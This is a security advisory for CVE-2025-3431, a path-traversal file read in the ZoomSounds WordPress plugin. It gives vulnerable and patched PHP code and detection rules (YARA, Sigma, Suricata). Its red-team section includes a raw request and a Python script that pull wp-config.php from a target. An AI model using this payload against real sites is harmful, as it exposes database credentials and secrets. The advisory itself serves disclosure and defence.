CVE-2025-3431

Executive Summary

CVE-2025-3431 is a critical Arbitrary File Read vulnerability affecting the ZoomSounds - WordPress Wave Audio Player with Playlist plugin, versions up to and including 6.91. The flaw resides in the dzsap_download action, which fails to properly sanitize user-supplied file paths. This allows unauthenticated attackers to read arbitrary files from the server, including sensitive configuration files (e.g., wp-config.php), database credentials, and other secrets. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. Given the lack of authentication requirements and the potential for data exfiltration, this poses a severe risk to WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for any unauthorized modifications. No official patch or updated version has been released as of this report.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The ease of exploitation and potential for sensitive data exposure make this a priority for remediation.

Deep Dive & Mechanics

The vulnerability exists in the dzsap_download AJAX action handler within the ZoomSounds plugin. The plugin registers an action hook that processes file download requests. The code likely uses a parameter (e.g., file or path) to specify the file to be downloaded. Due to insufficient input validation and lack of path traversal sanitization, an attacker can supply a path like ../../../../etc/passwd or ../../../wp-config.php to read arbitrary files outside the intended directory.

The attack flow:

1. An unauthenticated attacker sends a POST or GET request to the WordPress AJAX endpoint with the action=dzsap_download parameter.
2. The attacker includes a malicious file parameter containing path traversal sequences.
3. The plugin reads the file from the server filesystem without proper validation.
4. The file contents are returned in the HTTP response, allowing the attacker to exfiltrate sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A patched version would implement proper path validation.

Vulnerable Code (Conceptual):

add_action('wp_ajax_dzsap_download', 'dzsap_download_handler');
add_action('wp_ajax_nopriv_dzsap_download', 'dzsap_download_handler');

function dzsap_download_handler() {
    $file = $_REQUEST['file'];
    $file_path = WP_CONTENT_DIR . '/uploads/zoomsounds/' . $file;
    if (file_exists($file_path)) {
        header('Content-Type: application/octet-stream');
        readfile($file_path);
    }
    wp_die();
}

Patched Code (Conceptual):

function dzsap_download_handler() {
    $file = basename($_REQUEST['file']); // Remove path components
    $allowed_dir = WP_CONTENT_DIR . '/uploads/zoomsounds/';
    $file_path = $allowed_dir . $file;
    // Ensure the resolved path is within the allowed directory
    $real_path = realpath($file_path);
    if ($real_path && strpos($real_path, $allowed_dir) === 0 && file_exists($real_path)) {
        header('Content-Type: application/octet-stream');
        readfile($real_path);
    } else {
        wp_die('Invalid file.');
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with ZoomSounds plugin version <= 6.91 installed and activated.
• Network access to the target.

Exploit Steps:

1. Identify the WordPress AJAX endpoint (typically /wp-admin/admin-ajax.php).
2. Craft a request to read sensitive files:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   action=dzsap_download&file=../../../../wp-config.php
   

3. The server will respond with the contents of wp-config.php, revealing database credentials and salts.

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "dzsap_download",
    "file": "../../../../wp-config.php"
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor for requests to /wp-admin/admin-ajax.php with action=dzsap_download and suspicious file parameters containing ../ sequences.
• Alert on unusual file read attempts from the web server process.

Response:

1. Immediately disable the ZoomSounds plugin if no patch is available.
2. Review web server logs for indicators of exploitation.
3. Rotate any exposed credentials (database passwords, salts, API keys).
4. Conduct a forensic analysis to determine the extent of data exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=dzsap_download and file parameter containing path traversal sequences (e.g., ../, ..\\).
  • Outbound data transfers containing file contents like DB_PASSWORD, AUTH_KEY, etc.

• File System IOCs:

  • Unusual file access patterns in web server logs (e.g., reading /etc/passwd, wp-config.php).
  • Presence of temporary files or scripts in the uploads directory.

• Log IOCs:

  • Web server access logs showing repeated admin-ajax.php requests with dzsap_download action.
  • Error logs indicating file not found or permission denied errors for paths outside the intended directory.

Detection Engineering

YARA Rule

rule CVE_2025_3431_ZoomSounds_FileRead {
    meta:
        description = "Detects exploitation attempts of CVE-2025-3431 in ZoomSounds plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3431"
    strings:
        $action = "dzsap_download"
        $path_traversal = /\.\.\/|\.\.\\/
    condition:
        $action and $path_traversal
}

Sigma Rule

title: CVE-2025-3431 ZoomSounds Arbitrary File Read
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-3431 via path traversal in dzsap_download action
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=dzsap_download'
        cs-uri-query|contains|all:
            - 'file='
            - '../'
    condition: selection
falsepositives:
    - Legitimate file downloads with similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-3431 ZoomSounds Arbitrary File Read Attempt";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=dzsap_download";
    http_client_body;
    content:"file=";
    http_client_body;
    pcre:"/\.\.\//";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests containing dzsap_download action with path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user, not the world).

Long-term Fix:

• The vendor must release a patched version that properly validates file paths using basename() and realpath() to restrict access to the intended upload directory.
• Users should monitor the WordPress Plugin Directory for updates.

Workaround:

• Add the following code to the theme's functions.php to disable the vulnerable AJAX action:

  add_action('init', function() {
      remove_action('wp_ajax_dzsap_download', 'dzsap_download_handler');
      remove_action('wp_ajax_nopriv_dzsap_download', 'dzsap_download_handler');
  });
  

Valters IT
Securing Digital Frontiers